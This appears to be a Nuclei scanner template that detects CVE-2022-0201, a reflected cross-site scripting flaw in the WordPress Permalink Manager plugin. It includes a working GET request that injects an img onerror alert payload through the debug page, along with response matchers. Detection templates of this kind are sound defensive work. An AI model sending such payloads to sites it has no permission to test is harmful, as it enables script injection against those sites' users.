id: CVE-2022-0201 info: name: WordPress Permalink Manager <2.2.15 - Cross-Site Scripting author: Akincibor severity: medium description: | WordPress Permalink Manager Lite and Pro plugins before 2.2.15 contain a reflected cross-site scripting vulnerability. They do not sanitize and escape query parameters before outputting them back in the debug page. impact: | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. remediation: | Update to WordPress Permalink Manager version 2.2.15 or later to mitigate the vulnerability. reference: - https://wpscan.com/vulnerability/f274b0d8-74bf-43de-9051-29ce36d78ad4 - https://plugins.trac.wordpress.org/changeset/2656512 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-0201 cwe-id: CWE-79 epss-score: 0.001 epss-percentile: 0.40832 cpe: cpe:2.3:a:permalink_manager_lite_project:permalink_manager_lite:*:*:*:*:*:wordpress:*:* metadata: max-request: 1 vendor: permalink_manager_lite_project product: permalink_manager_lite framework: wordpress tags: cve,cve2022,wp-plugin,wpscan,xss,wordpress,permalink_manager_lite_project http: - method: GET path: - '{{BaseURL}}/index.php?p=%3Cimg%20src%20onerror=alert(/XSS/)%3E&debug_url=1' matchers-condition: and matchers: - type: word part: body words: - '' - 'pm_query' condition: and - type: word part: header words: - text/html # digest: 4a0a00473045022100f56a73e567b6cca51d215e9423d7c6c4412d102cda97ceadd1f00509c997c9b302204de93e25df1845bd58d9ac6633be7a26c776caca57e211ce52ee5fb8c54a2e66:922c64590222798bb761d5b6d8e72950